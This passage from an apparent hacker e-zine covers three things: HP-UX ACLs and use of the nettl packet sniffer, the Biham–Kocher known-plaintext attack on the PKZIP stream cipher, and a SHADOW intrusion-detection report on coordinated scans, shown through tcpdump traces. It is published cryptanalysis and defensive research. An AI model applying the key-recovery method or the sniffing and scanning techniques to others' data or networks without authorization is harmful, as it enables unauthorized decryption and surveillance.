supports ACLs), and 2) ACLs cannot be used on VxFS (Journal Filesystem,
also known as JFS). Two commands are integral to ACLs: lsacl and chacl.
Basically think of lsacl as the extended equivalent of ls, while chacl
is the extended equivalent of chmod and chown. How are ACLs "extended"?
While standard Unix has three sets of permissions, ie:
-rwxr--r-- 1 oracle dba 523 Nov 22 1996 run1.sh
ACLs enables thirteen additional sets of permissions (ACL entries) to
be designated, which are stored in the access control list of the file.
Suppose you wanted everyone BUT johndoe to read a file. In standard Unix,
you'd have to create a group, put everyone in it except johndoe, then
modify the permissions on the file accordingly (basically a pain in the
ass). With ACLs, simply type: chacl 'johndoe.users=-rwx' <filename>
Looking at that file with 'lsacl <filename>' you see:
(johndoe.users,---)(root.%,rw-)(%.sys,r--)(%.%,r--) filename
Note that modifiers in chacl are + (add permission), - (remove permis-
sion), etc.
How would you know if a file or directory had additional permissions?
Do an 'ls -l' or 'll' on the file:
-rwxr--r-+ 1 oracle dba 523 Nov 22 1996 run1.sh
Note the "+". This indicates there are additional permissions to be
seen with lsacl.
ACLs are useful to know within HP-UX, as standard file permissions,
listings in /etc/group, etc. can be inconclusive in determining the owner-
ship of a file or directory.
Other commands (primarily system calls; see man pages for more info):
getaccess (command): list access rights to a file.
chmod -A (command): the -A option preserves ACLs associated with the file.
otherwise, they are deleted.
cpset (command): install object files in binary directories. does not set
a file's optional ACL entries.
find -acl (command): the -acl option supports ACLs.
getacl/fgetacl (syscall): get ACL information.
setacl/fsetacl (syscall): set ACL information.
cpacl/fcpacl (syscall): copy ACL/mode bits from one file to another.
setaclentry/fsetaclentry (syscall): set/modify/delete one ACL entry in
a file.
chownacl (syscall): change ACL owner/group info in a file.
acltostr (syscall): convert ACL structure to string form.
strtoacl (syscall): convert string form to ACL structure.
strtoaclpatt (syscall): parse/convert ACL pattern strings to arrays.
---------------------------------------------------------------------------
4) The Trusted System: DB Lib Routines
Basically, these routines are used to manipulate information on both the
password file (/etc/passwd), and the trusted system database (/tcb/files/
auth).
getdvagent(3): get device entry from /tcb/files/auth/devassign
getprdfent(3): get system default entry from /tcb/files/auth/system/default
getprtent(3) : get term control entry from /tcb/files/ttys
getprpwent(3): get /tcb/files/auth password entries
getpwent(3c) : get /etc/passwd entries
getspwent(3x): get /tcb/files/auth password entries for standard, non-hp
format
putprpwnam(3): put password entry in /tcb/files/auth
putpwent(3c) : put password entry in /etc/passwd
putspwent(3x): put password entry in standard, non-hp format
---------------------------------------------------------------------------
5) Other Info Pt 1
nettl: HP-UX's network sniffer
The question arises all too often about the availability of a sniffer for
HP-UX. A solution that isn't realized by many is the fact that HP-UX comes
with one. Here is the basic syntax for nettl. Check the man page for more
detailed information on what you need.
Start the logging process, logging all (-e, short for -entity) protocol
layers/software modules, outputting to /tmp/legions!! (pduin is the inbound
protocol data unit, and obviously, pduout is the outbound protocol data
unit):
nettl -traceon pduin pduout -e all -f /tmp/legions
Stop the logging for all (-e):
nettl -traceoff -e all
Format the log file to make it readable:
netfmt -f /tmp/legions.TRC0 > /tmp/legions.txt
---------------------------------------------------------------------------
6) To Be Continued
Welps, that's it for now, kinda short. However, Part 3 will delve into
NFS diskless clusters, network services, linklevel access, and other fun
stuff.
---------------------------------------------------------------------------
Attack on the PKZIP Stream Cipher----------[Pk]
A Known Plaintext Attack on the PKZIP Stream Cipher
Eli Biham (*) Paul C. Kocher (**)
(*) Computer Science Department, Technion - Israel Institute of
Technology, Haifa 32000, Israel.
(**) Independent cryptographic consultant, 7700 N.W. Ridgewood Dr.,
Corvallis, OR 97330, USA. (415) 354-8004.
ABSTRACT:
The PKZIP program is one of the more widely used archive/compression
programs on personal computers. It also has many compatible variants
on other computers, and is used by most BBS's and ftp sites to
compress their archives. PKZIP provides a stream cipher which allows
users to scramble files with variable length keys (passwords). In
this paper we describe a known plaintext attack on this cipher, which
can find the internal representation of the key within a few hours on
a personal computer using a few hundred bytes of known plaintext. In
many cases, the actual user keys can also be found from the internal
representation. We conclude that the PKZIP cipher is weak, and
should not be used to protect valuable data.
SECTION 1: Introduction
The PKZIP program is one of the more widely used archive/compression
programs on personal computers. It also has many compatible variants
on other computers (such as Infozip's zip/unzip), and is used by most
BBS's and ftp sites to compress their archives. PKZIP provides a
stream cipher which allows users to scramble the archived files under
variable length keys (passwords). This stream cipher was designed by
Roger Schlafly.
In this paper we describe a known plaintext attack on the PKZIP
stream cipher which takes a few hours on a personal computer and
requires about 13--40 (compressed) known plaintext bytes, or the
first 30--200 uncompressed bytes, when the file is compressed. The
attack primarily finds the 96-bit internal representation of the key,
which suffices to decrypt the whole file and any other file encrypted
under the same key. Later, the original key can be constructed.
This attack was used to find the key of the PKZIP contest.
The analysis in this paper holds to both versions of PKZIP:
version 1.10 and version 2.04g. The ciphers used in the two versions
differ in minor details, which does not affect the analysis.
The structure of this paper is as follows: Section 2 describes
PKZIP and the PKZIP stream cipher. The attack is described in
Section 3, and a summary of the results is given in Section 4.
SECTION 2: The PKZIP Stream Cipher
PKZIP manages a ZIP file[1] which is an archive containing many files
in a compressed form, along with file headers describing (for each
file) the file name, the compression method, whether the file is
encrypted, the CRC-32 value, the original and compressed sizes of the
file, and other auxiliary information.
The files are kept in the zip-file in the shortest form
possible of several compression methods. In case that the
compression methods do not shrink the size of the file, the files are
stored without compression. If encryption is required, 12 bytes
(called the _encryption_header_) are prepended to the compressed
form, and the encrypted form of the result is kept in the zip-file.
The 12 prepended bytes are used for randomization, but also include
header dependent data to allow identification of wrong keys when
decrypting. In particular, in PKZIP 1.10 the last two bytes of these
12 bytes are derived from the CRC-32 field of the header, and many of
the other prepended bytes are constant or can be predicted from other
values in the file header. In PKZIP 2.04g, only the last byte of
these 12 bytes is derived from the CRC-32 field. The file headers
are not encrypted in both versions.
The cipher is byte-oriented, encrypting under variable length
keys. It has a 96-bit internal memory, divided into three 32-bit
words called key0, key1 and key2. An 8-bit variable key3 (not part
of the internal memory) is derived from key2. The key initializes
the memory: each key has an equivalent internal representation as
three 32-bit words. Two keys are equivalent if their internal
representations are the same. The plaintext bytes update the memory
during encryption.
The main function of the cipher is called update_keys, and is
used to update the internal memory and to derive the variable key3,
for each given input (usually plaintext) byte:
update_keys_{i} (char):
local unsigned short temp
key0_{i+1} <-- crc32(key0_{i},char)
key1_{i+1} <-- (key1_{i} + LSB(key0_{i+1})) * 134775813 + 1 (mod 2^{32})
key2_{i+1} <-- crc32(key2_{i},MSB(key1_{i+1}))
temp_{i+1} <-- key2_{i+1} | 3 (16 LS bits)
key3_{i+1} <-- LSB((temp_{i+1} * (temp_{i+1} xor 1)) >> 8)
end update_keys
where | is the binary inclusive-or operator, and >> denotes the right
shift operator (as in the C programming language). LSB and MSB
denote the least significant byte and the most significant byte of
the operands, respectively. Note that the indices are used only for
future references and are not part of the algorithm, and that the
results of key3 using inclusive-or with 3 in the calculation of temp
are the same as with the original inclusive-or with 2 used in the
original algorithm. We prefer this notation in order to reduce one
bit of uncertainty about temp in the following discussion.
Before encrypting, the key (password) is processed to update
the initial value of the internal memory by:
process_keys(key):
key0_{1-l} <-- 0x12345678
key1_{1-l} <-- 0x23456789
key2_{1-l} <-- 0x34567890
loop for i <-- 1 to l
update_keys_{i-l}(key_{i})
end loop
end process_keys
where l is the length of the key (in bytes) and hexadecimal numbers
are prefixed by 0x (as in the C programming language). After
executing this procedure, the internal memory contains the internal
representation of the key, which is denoted by key0_{1}, key1_{1} and
key2_{1}.
The encryption algorithm itself processes the bytes of the
compressed form along with the prepended 12 bytes by:
Encryption Decryption
---------- ----------
prepend P_{1},...,P_{12}
loop for i <-- 1 to n loop for i <-- 1 to n
C_{i} <-- P_{i} xor key3_{i} P_{i} <-- C_{i} xor key3_{i}
update_keys_{i}(P_{i}) update_keys_{i}(P_{i})
end loop discard P_{1},...,P_{12}
The decryption process is similar, except that it discards the 12
prepended bytes.
The crc32 operation takes a previous 32-bit value and a byte,
XORs them and calculates the next 32-bit value by the crc polynomial
denoted by 0xEDB88320. In practice, a table crctab can be
precomputed, and the crc32 calculation becomes:
crc32 = crc32(pval,char) = (pval>>8) xor crctab[LSB(pval) xor char]
The crc32 equation is invertible in the following sense:
pval = crc32^{-1}(crc32,char) =
(crc32 << 8) xor crcinvtab[MSB(crc32)] xor char
crctab and crcinvtab are precomputed as:
init_crc():
local unsigned long temp
loop for i <-- 0 to 255
temp <-- crc32(0,i)
crctab[i] <-- temp
crcinvtab[temp >> 24] <-- (temp << 8) xor i
end loop
end init_crc
in which crc32 refers to the original definition of crc32:
crc32(temp,i):
temp <-- temp xor i
loop for j <-- 0 to 7
if odd(temp) then
temp <-- temp >> 1 xor 0xEDB88320
else
temp <-- temp >> 1
endif
end loop
return temp
end crc32
SECTION 3: The Attack
The attack we describe works even if the known plaintext bytes are
not the first bytes (if the file is compressed, it needs the
compressed bytes, rather than the uncompressed bytes). In the
following discussion the subscripts of the n known plaintext bytes
are denoted by 1,...,n, even if the known bytes are not the first
bytes. We ignore the subscripts when the meaning is clear and the
discussion holds for all the indices.
Under a known plaintext attack, both the plaintext and the
ciphertext are known. In the PKZIP cipher, given a plaintext byte
and the corresponding ciphertext byte, the value of the variable key3
can be calculated by
key3_{i} = P_{i} xor C_{i}.
Given P_{1},...,P_{n} and C_{1},...,C_{n}, we receive the values of
key3_{1},...,key3_{n}. The known plaintext bytes are the inputs of
the update_keys function, and the derived key3's are the outputs.
Therefore, in order to break the cipher, it suffices to solve the set
of equations derived from update_keys, and find the initial values of
key0, key1 and key2.
In the following subsections we describe how we find many possible
values for key2, then how we extend these possible values to possible
values of key1, and key0, and how we discard all the wrong values.
Then, we remain with only the right values which correspond to the
internal representation of the key.
Subsection 3.1: key2
The value of key3 depends only on the 14 bits of key2 that
participate in temp. Any value of key3 is suggested by exactly 64
possible values of temp (and thus 64 possible values of the 14 bits
of key2). The two least significant bits of key2 and the 16 most
significant bits do not affect key3 (neither temp).
Given the 64 possibilities of temp in one location of the encrypted
text, we complete the 16 most significant bits of key2 with all the
2^{16} possible values, and get 2^{22} possible values for the 30
most significant bits of key2. key2_{i+1} is calculated by
key2_{i+1} <-- crc32(key2_{i},MSB(key1_{i+1})). Thus,
key2_{i} = crc32^{-1}(key2_{i+1},MSB(key1_{i+1}))
= (key2_{i+1}<<8) xor crcinvtab[MSB(key2_{i+1})]
xor MSB(key1_{i+1}).
Given any particular value of key2_{i+1}, for each term of this
equation we can calculate the value of the 22 most significant bits
of the right hand side of the equation, and we know 64 possibilities
for the value of 14 bits of the left hand side, as described in Table
1. From the table, we can see that six bits are common to the right
hand side and the left hand side. Only about 2^{-6} of the possible
values of the 14 bits of key2_{i} have the same value of the common
bits as in the right hand side, and thus, we remain with only one
possible value of the 14 bits of key2_{i} in average, for each
possible value of the 30 bits of key2_{i+1}. When this equation
holds, we can complete additional bits of the right and the left
sides, up to the total of the 30 bits known in at least one of the
sides. Thus, we can deduce the 30 most significant bits of key2_{i}.
We get in average one value for these 30 most significant bits of
key2_{i}, for each value of the 30 most significant bits of
key2_{i+1}. Therefore, we are now just in the same situation with
key2_{i} as we were before with key2_{i+1}, and we can now find
values of 30 bits of key2_{i-1}, key2_{i-2},...,key2_{1}. Given this
list of 30-bit values, we can complete the 32-bit values of key2_{n},
key2_{n-1},...,key2_{2} (excluding key2_{1}) using the same equation.
We remain with about 2^{22} lists of possible values
(key2_{n},key2_{n-1},...,key2_{2}), of which one must be the list
actually calculated during encryption.
Table 1:
Side Term Bits# BitsPosition #OfValues
------------------------------------------------------------------
Left key2_{i} 14 2-15 64
Right key2_{i+2} << 8 22 10-31 1
crcinvtab[MSB(key2_{i+1})] 32 0-31 1
MSB(key1_{i+1}) 24 8-31 1
------------------------------------------------------------------
Total Left Hand Side 14 2-15 64
Total RIght Hand Side 22 10-31 1
------------------------------------------------------------------
Common bits 6 10-15
Total bits 30 2-31
Subsection 3.2: Reducing the number of possible values of key2
The total complexity of our attack is (as described later) 2^{16}
times the number of possible lists of key2's. If we remain with
2^{22} lists, the total complexity becomes 2^{38}. This complexity
can be reduced if we can reduce the number of lists of key2's without
discarding the right list.
We observed that the attack requires only 12--13 known
plaintext bytes (as we describe later). Our idea is to use longer
known plaintext streams, and to reduce the number of lists based on
the additional plaintext. In particular, we are interested only in
the values of key2_{13}, and not in all the list of key2_{i},
i=13,...,n. key2_{13} is then used in the attack as is described
above.
We start with the 2^{22} possible values of key2_{n}, and calculate
the possible values of key2_{n-1}, key2_{n-2}, etc. using Equation 1.
The number of possible values of key2_{i} (i=n-1, n-2, etc.) remains
about 2^{22}. However, some of the values are duplicates of other
values. When these duplicates are discarded, the number of possible
values of key2_{i} is substantially decreased. To speed things up,
we calculate all the possible values of key2_{n-1}, and remove the
duplicates. Then we calculate all the possible values of key2_{n-2},
and remove the duplicates, and so on. When the duplicates fraction
becomes smaller, we can remove the duplicates only every several
bytes, to save overhead. Figure 1 shows the number of remaining
values for any given size of known plaintext participating in the
reduction, as was measured on the PKZIP contest file (which is
typical). We observed that using about 40 known plaintext bytes (28
of them are used for the reduction and 12 for the attack), the number
of possible values of key2_{13} is reduced to about 2^{18}, and the
complexity of the attack is 2^{34}. Using 10000-byte known
plaintext, the complexity of our attack is reduced to 2^{24}--2^{27}.
Figure 1:
bytes key2 list entries
1 2^{22}=4194304
2 3473408
3 2152448 +-----------------------------+
4 1789183 | The PostScript version of |
5 1521084 | the paper has a graph here |
10 798169 | showing the number of key2 |
15 538746 | values as a function of the |
20 409011 | number of plaintext bytes. |
25 332606 +-----------------------------+
30 283930
40 213751
50 174471
100 88248
200 43796
300 31088
500 16822
1000 7785
2000 5196
4000 3976
6000 3000
8000 1296
10000 1857
12000 243
12289 801
Fig 1. Decrease in the number of key2 candidates using varying
amounts of known plaintext. These results are for the PKZIP
contest file and are fairly typical, though the entry 12000 is
unusually low.
Subsection 3.3: key1
From the list of (key2_{n}, key2_{n-1},...,key2_{2}) we can calculate
the values of the most significant bytes the key1's by
MSB(key1_{i+1}) =
(key2_{i+1} << 8) xor crcinvtab[MSB(key2_{i+1})] xor key2_{i}.
!!!
We receive the list (MSB(key1_{n}),MSB(key1_{n-1}),...,MSB(key1_{3}))
(excluding MSB(key1_{2})).
Given MSB(key1_{n}) and MSB(key1_{n-1}), we can calculate about
2^{16} values for the full values of key1_{n} and
key1_{n-1}+LSB(key0_{n}). This calculation can be done efficiently
using lookup tables of size 256--1024. Note that
key1_{n-1}+LSB(key0_{n}) =
(key1_{n}-1) * 134775813^{-1} (mod 2^{32})
and that LSB(key0_{n}) is in the range 0,...,255. At this point we
have about 2^{11} * 2^{16} = 2^{27} (or 2^{22} * 2^{16} = 2^{38})
possible lists of key2's and key1_{n}. Note that in the remainder of
the attack no additional complexity is added, and all the additional
operations contain a fixed number of instructions for each of the
already existing list.
The values of key1_{n-1}+LSB(key0_{n}) are very close to the
values of key1_{n-1} (since we lack only the 8-bit value
LSB(key0_{n})). Thus, an average of only 256 * 2^{-8} = 1 possible
value of key1_{n-1} that leads to the most significant byte of
key1_{n-2} from the list. This value can be found efficiently using
the same lookup tables used for finding key1_{n}, with only a few
operations. Then, we remain with a similar situation, in which
key1_{n-1} is known and we lack only eight bits of key1_{n-2}. We
find key1_{n-2} with the same algorithm, and then find the rest of
key1_{n-3}, key1_{n-4}, and so on with the same algorithm. We result
with about 2^{27} possible lists, each containing the values of
(key2_{n}, key2_{n-1},...,key2_{2}, and key1_{n}, key1_{n-
1},...,key1_{4}) (again, key1_{3} cannot be fully recovered since two
successive values of MSB(key1) are required to find each value of
key1).
Subsection 3.4:
Given a list of (key1_{n}, key1_{n-1},...,key1_{4}), we can easily
calculate the values of the least significant bytes of (key0_{n},
key0_{n-1},...,key0_{5}) by
LSB(key0_{i+1}) =
((key1_{i+1}-1) * 134775813^{-1})-key1_{i} (mod 2^{32}).
key0_{i+1} is calculated by
key0_{i+1} <-- crc32(key0_{i},P_{i})
= (key0_{i} >> 8) xor crctab[LSB(key0_{i}) xor P_{i}].
Crc32 is a linear function, and from any four consecutive LSB(key0)
values, together with the corresponding known plaintext bytes it is
possible to recover the full four key0's. Moreover, given one full
key0, it is possible to reconstruct all the other key0's by
calculating forward and backward, when the plaintext bytes are given.
Thus, we can now receive key0_{n},...,key0_{1} (this time including
key0_{1}). We can now compare the values of the least significant
bytes of key0_{n-4},...,key0_{n-7} to the corresponding values from
the lists. Only a fraction of 2^{-32} of the lists satisfy the
equality. Since we have only about 2^{27} possible lists, it is
expected that only one list remain. This list must have the right
values of the key0's, key1's, and key2's, and in particular the right
values of key0_{n}, key1_{n} and key2_{n}. In total we need 12 known
plaintext bytes for this analysis (except for reducing the number of
key2 lists) since in the lists the values of LSB(key0_{i}) start with
i=5, and n-7=5 ==> n=12.
If no reduction of the number of key2 lists is performed, 2^{38}
lists of (key0, key1, key2) remain at this point, rather than
2^{27}. Thus, we need to compare five bytes
key0_{n-4},...,key0_{n-8} in order to remain with only one list. In
this case, 13 known plaintext bytes are required for the whole
attack, and the complexity of analysis is 2^{38}.
Subsection 3.5: The Internal Representation of the Key
Given key0_{n}, key1_{n} and key2_{n}, it is possible to construct
key0_{i}, key1_{i} and key2_{i} for any i<n using only the ciphertext
bytes, without using the known plaintext, and even if the known
plaintext starts in the middle of the encrypted file this
construction works and provides also the unknown plaintext and the 12
prepended bytes. In particular it can find the internal
representation of the key, denoted by key0_{1}, key1_{1} and key2_{1}
(where the index denotes again the index in the encrypted text,
rather than in the known plaintext). The calculation is as follows:
(Equation 2)
key2_{i} = crc32^{-1}(key2_{i+1},MSB(key1_{i+1}))
key1_{i} = ((key1_{i+1}-1) * 134775813^{-1}) -
LSB(key0_{i+1}) (mod 2^32)
temp_{i} = key2_{i} | 3
key3_{i} = LSB((temp_{i} * (temp_{i} xor 1)) >> 8)
P_{i} = C_{i} xor key3_{i}
key0_{i} = crc32(key0_{i+1},P_{i})
The resulting value of (key0_{1},key1_{1},key2_{1}) is the internal
representation of the key. It is independent of the plaintext and
the prepended bytes, and depends only on the key. With this internal
representation of the key we can decrypt any ciphertext encrypted
under the same key. The two bytes of crc32 (one byte in version
2.04g) which are included in the 12 prepended bytes allow further
verification that the file is really encrypted under the found
internal representation of the key.
Subsection 3.6: The Key (Password)
The internal representation of the key suffices to break the cipher.
However, we can go even further and find the key itself from this
internal representation with the complexities summarized in Table 2.
The algorithm tries all key lengths 0, 1, 2, ..., up to some maximal
length; for each key length it does as described in the following
paragraphs.
Table 2: Complexity of finding the key itself
-----------------------------------------------------------------
Key length 1-6 7 8 9 10 11 12 13
Complexity 1 2^{8} 2^{16} 2^{24} 2^{32} 2^{40} 2^{48} 2^{56}
-----------------------------------------------------------------
For l <= 4 it knows key0_{1-l} and key0_{1}. Only l <= 4 key bytes
are entered to the crc32 calculations that update key0_{1-l} into
key0_{1}. Crc32 is a linear function, and these l <= 4 key bytes can
be recovered, just as key0_{n},...,key0_{n-3} recovered above. Given
the l key bytes, we reconstruct the internal representation, and
verify that we get key1_{1} and key2_{1} as expected (key0_{1} must
be as expected, due to the construction). If the verification
succeeds, we found the key (or an equivalent key). Otherwise, we try
the next key length.
For 5 <= l <= 6 we can calculate key1_{0}, key2_{0} and key2_{-1}, as
in Equation 2. Then, key2_{2-l},...,key2_{-2} can be recovered since
they are also calculated with crc32, and depend on l-2 <= 4 unknown
bytes (of key1's). These unknown bytes MSB(key1_{2-l}),...,
MSB(key1_{-1}) are also recovered at the same time. key1_{1-l} is
known. Thus, we can receive an average of one possible value for
key1_{2-l} and for key1_{3-l}, together with LSB(key0_{2-l}) and
LSB(key0_{3-l}), using the same lookup tables used in the attack.
From LSB(key0_{2-l}) and LSB(key0_{3-l}) and key0_{1-l}, we can
complete key0_{2-l} and key0_{3-l} and get key_{1} and key_{2}. The
remaining l-2 key bytes are found by solving the l-2 <= 4 missing
bytes of the crc32 as is done for the case of l <= 4. Finally, we
verify that the received key has the expected internal
representation. If so, we have found the key (or an equivalent key).
Otherwise, we try the next key length.
For l>6, we try all the possible values of key_{1},...,key_{l-6},
calculating key0_{-5}, key1_{-5} and key2_{-5}. Then we used the l=6
algorithm to find the remaining six key bytes. In total we try about
2^{8 * (l-6)} keys. Only a fraction of 2^{-64} of them pass the
verification (2^{-32} due to each of key1 and key2). Thus, we expect
to remain with only the right key (or an equivalent) in trials of up
to 13-byte keys. Note that keys longer than 12 bytes will almost
always have equivalents with up to 12 (or sometimes 13) bytes, since
the internal representation is only 12-bytes long.
SECTION 4: Summary
In this paper we describe a new attack on the PKZIP stream cipher
which finds the internal representation of the key, which suffices to
decrypt the whole file and any other file which is encrypted by the
same key. This known plaintext attack breaks the cipher using 40
(compressed) known plaintext bytes, or about the 200 first
uncompressed bytes (if the file is compressed), with complexity
2^{34}. Using about 10000 known plaintext bytes, the complexity is
reduced to about 2^{27}. Table 3 describes the complexity of the
attack for various sizes of known plaintext. The original key
(password) can be constructed from the internal representation. An
implementation of this attack in software was applied against the
PKZIP cipher contest. It found the key "f7 30 69 89 77 b1 20" (in
hexadecimal) within a few hours on a personal computer.
Table 3: Complexity of the attack by the size of the known plaintext
Bytes Complexity
------- ----------
13 2^{38}
40 2^{34}
110 2^{32}
310 2^{31}
510 2^{30}
1000 2^{29}
4000 2^{28}
10000 2^{27}
A variant of the attack requires only 13 known plaintext bytes, in
price of a higher complexity 2^{38}. Since the last two bytes (one
in version 2.04g) of the 12 prepended bytes are always known, if the
known plaintext portion of the file is in its beginning, the attack
requires only 11 (12) known plaintext bytes of the compressed file.
(In version 1.10 several additional prepended bytes might be
predictable, thus the attack might actually require even fewer known
plaintext bytes.)
We conclude that the PKZIP cipher is weak and that it should not be
used to protect valuable information.
---------------------------------------------------------------------------
[Shadow]---------Coordinated TCP Attacks and Probes
SHADOW Indications Technical Analysis
Coordinated Attacks and Probes
Updated Oct 05 1998 codebits
Executive Summary:
This document details attacks and probes that have been recently
observed in which multiple attackers are clearly working together toward
a common goal from different IP addresses. Often these IP addresses are
also physically separated, in different countries or even different
continents.
There are three obvious purposes for this type of activity:
- Stealth. By working from multiple IP addresses the
attackers achieve a smaller per-IP signature and are more
difficult to detect with conventional means. In addition,
stealth is enhanced by the development of new hard-to-detect
probing techniques.
- Firepower. By coordinating multiple attacking IP addresses,
the attackers will be able to deliver more exploits on target
in a smaller time window. Target in this case can be one or
more sites. Further, the defense technique of blocking an
attacker IP or subnet (shunning) will be less effective. We
believe that the use of coordinated scans and probes from
differing sites represents a new and continuing capability
that merits further analysis and tracking. Some of these
coordinated probes and scans we are seeing today may be
practice runs for future larger scale attacks.
- More data. By working from different IP addresses, often
entirely different subnets, against the same target it is possible
to obtain data that is difficult from a single source IP scan
or probe. This data may include shortest route data (i.e. packets
from source A arrive faster than from source B), or even potential
backdoors (i.e. packets from source A can gain access to hosts that
source B can't see). This type of data can be used to optimise
future scans, probes, or attacks.
Analysis:
Multiple different attacks and probes are documented here. The
commonality is that the attacker is able to launch the attack from
multiple unrelated (or partially related) addresses in a coordinated
fashion. Special thanks to Rob Cardoza, Vicki Irwin, and Pedro Vazquez
for their help in deciphering this puzzle.
===============================
EXAMPLE 1: Coordinated traceroutes
These have been reported previously, but they make an excellent example
of the general approach.
Five different sources all hit the target (a firewall) within minutes of
each other. The signature of each hit is nearly identical. Note the
use of two entirely different domains within seconds of each other.
This will allow them to have timing data for multiple paths.
12:29:30.012086 proberA.39964 > target.33500: udp 12 [ttl 1]
12:29:30.132086 proberA.39964 > target.33501: udp 12 [ttl 1]
12:29:30.252086 proberA.39964 > target.33502: udp 12 [ttl 1]
12:29:30.352086 proberA.39964 > target.33503: udp 12 [ttl 1]
12:29:30.482086 proberA.39964 > target.33504: udp 12 [ttl 1]
12:27:37.712086 proberB.46164 > target.33485: udp 12 [ttl 1]
12:27:55.122086 proberB.46164 > target.33487: udp 12 [ttl 1]
12:27:55.162086 proberB.46164 > target.33488: udp 12 [ttl 1]
12:27:55.182086 proberB.46164 > target.33489: udp 12 [ttl 1]
12:29:26.132086 proberC.43327 > target.33491: udp 12 [ttl 1]
12:29:26.242086 proberC.43327 > target.33492: udp 12 [ttl 1]
12:29:26.372086 proberC.43327 > target.33493: udp 12 [ttl 1]
12:29:26.482086 proberC.43327 > target.33494: udp 12 [ttl 1]
12:27:32.962086 proberD.55528 > target.33485: udp 12 [ttl 1]
12:27:33.072086 proberD.55528 > target.33486: udp 12 [ttl 1]
12:27:33.172086 proberD.55528 > target.33487: udp 12 [ttl 1]
12:27:33.292086 proberD.55528 > target.33488: udp 12 [ttl 1]
12:27:33.422086 proberD.55528 > target.33489: udp 12 [ttl 1]
12:27:30.552086 proberE.com > target.33475: udp 12 [ttl 1]
12:27:30.562086 proberE.com > target.33476: udp 12 [ttl 1]
12:27:30.582086 proberE.com > target.33477: udp 12 [ttl 1]
12:27:30.592086 proberE.com > target.33478: udp 12 [ttl 1]
12:27:30.612086 proberE.com > target.33479: udp 12 [ttl 1]
Special note: Recently we began screening for large ICMP packets. Many
of the ICMP scans we categorized as Smurf attacks were in excess of 1k.
Such packets can be used for maximum transmission unit of a path
discovery. Please see page 152 in Stevens' TCP/IP Illustrated for
further information.[1] Also note the DF flag will be set.[2]
===============================
EXAMPLE 2 Simultaneous Reset Scans
During the week of 13 SEP Reset Scans were observed from 14 different
internet addresses, primarily ISPs. They are working together
and are mapping multiple target sites. This appears to be a long
term effort, some of the attackers scan rate is as low as 2 packets/day/
target site, well below commonly set thresholds for scan detectors.
Until recently these types of scans were easy to detect due to common
"signature acknowledgement numbers" (i.e. the IP packet ACK field was
always a fixed number, usually 674719802 or 674711610). The more recent
probes have random acknowledgement numbers. We thank DISA for the advice on
improving the algorithm[3].
The primary signature here is RESET packets with no other activity from
that source (such as an active open (SYN) from the source or the target).
17:40:45.870769 hook.24408 > target1.1457: R 0:0(0) ack 674719802 win 0
17:40:53.025203 hook.33174 > target2.1457: R 0:0(0) ack 674719802 win 0
17:41:12.115554 hook.36250 > target3.1979: R 0:0(0) ack 674719802 win 0
17:43:37.605127 router > hook: icmp: time exceeded in-transit
17:43:43.1391
58 hook.44922 > target4.1496: R 0:0(0) ack 674719802 win 0
17:42:30.400665 grin.3532 > target1a.1167: R 0:0(0) ack 674719802 win 0
17:42:40.582531 grin.33233 > target2a.1797: R 0:0(0) ack 674719802 win 0
17:44:28.836701 grin.52504 > target3a.1634: R 0:0(0) ack 674719802 win 0
17:47:52.578558 grin.46657 > target4a.2121: R 0:0(0) ack 674719802 win 0
17:47:52.698378 router > grin: icmp: time exceeded in-transit
NOTE: When the target site's router replies back to the attacker, they
know that host or net does not exist. By locating the places that
do not exist, they can take the inverse of the map to target future
exploit efforts, scans, probes, or attacks.
===============================
EXAMPLE 3 Coordinated Exploits
To date the coordinated exploits have neither been large scale nor
effectual. The scale at least is certain to change as shown by the
recent escalation of reset scans.
Some examples of coordinated exploits are shown to illustrate this
technique. In addition to the patterns shown below, we have seen UDP 137
(NBTSTAT) scans with similar signatures.
Example 3A Searching for Back Orifice
This had been seen previously but rarely. In a short time frame three
attackers were detected at multiple target locations using the same
signature. Two (A and B) are shown here:
04:10:34.355832 dax.no.1534 > TARGETBa.31337: udp 19
04:51:15.261462 cpu.com.1534 > TARGETBb.31337: udp 19
04:54:19.101595 dax.no.1534 > TARGETBc.31337: udp 19
06:51:39.392441 dax.no.1534 > TARGETAa.31337: udp 19
06:52:32.700418 cpu.com.1534 > TARGETAb.31337: udp 19
06:06:52.320331 eb.net.1534 > TARGETAc.31337: udp 19
Example 3B DNS ZONE
Here we see an interesting pattern occurring within the same day.
SourceA connects first, there is no RESET from the DNS server. SourceB
then connects from an entirely different IP subnet to the same DNS
server and generates a RESET.
07:15:17.563185 SourceA.56141 > TARGETA.domain: S 5335035:53 35035(0) ack 5335034 win 4128 <mss 556>
07:15:17.565758 SourceB.domain > TARGETA.domain: S 4601818:46 01818(0) ack 4601817 win 4128 <mss 556>
07:15:17.570577 TARGETA.domain > SourceB.domain: R 4601817:46 01817(0) win 24576
22:11:13.044850 SourceA.18052 > TARGETB.domain: S 5624156:56241 56(0) ack 5624155 win 4128 <mss 556>
22:11:13.479834 SourceB.domain > TARGETB.domain: S 4849093:48490 93(0) ack 4849092 win 4128 <mss 556>
22:11:13.480759 TARGETB.domain > SourceB.domain: R 4849092:48490 92(0) win 32768
===============================
EXAMPLE 4 Codebits and Service Providers (updated OCT 05)
Malformed packets, note TCP code bits SYN/RESET/FIN all set as is urgent
are detected coming from web servers to the browsing client. The most
common pattern is one SFRP (SYN/FIN/RESET/PUSH) packet sent to browsing
client per session. Sometimes SRP's are also sent.
10:47:36.614342 media.com.2048 > target.48579: SFR 2842082:2842590(508) ack 2642669109 win 768 urg 2571 (DF)
11:23:42.974342 media.com.2048 > target.47720: SFP 4820865:4821409(544) win 3840 urg 2571 (DF)
13:49:44.334342 gm.com.49608 > target.49606: SFP 7051:7607(556) ack 2147789506 win 7768 (DF)
13:49:44.724342 gm.com.22450 > target.1591: SFRP 2038:2074(36) ack 116065792 win 0 urg 0 (DF)
Here is some related activity not from original site but is within the
same general timeframe. The stimulus here is the client visiting the web
server. These are examples of what comes back.
12:18:46.254342 im.com.5500 > target.1137: SFP 3241821:3242365(544) win 13234 urg 55134 (DF)
13:37:30.334342 im.com.22555 > target.22555: SF 8440982:8441538(556) win 10240 (DF)
14:52:57.454342 demon.net.30975 > target.16940: SFRP 2029994540:2029995068(528) ack 2029994540 win 16940 urg 16940 <[bad opt]> (DF)
14:53:01.634342 demon.net.30975 > target.556: SFRP 2029978156:2029978684(528) ack 2029978156 win 556 urg 556 <[bad opt]> (DF)
So perhaps it is benign? Perhaps, but probes have been observed from
the same address family that do not have any stimulus (no one visits
a web page) and they are targeting DNS and mail servers. Shadow believes
this is related to intelligence gathering. There has been some discussion
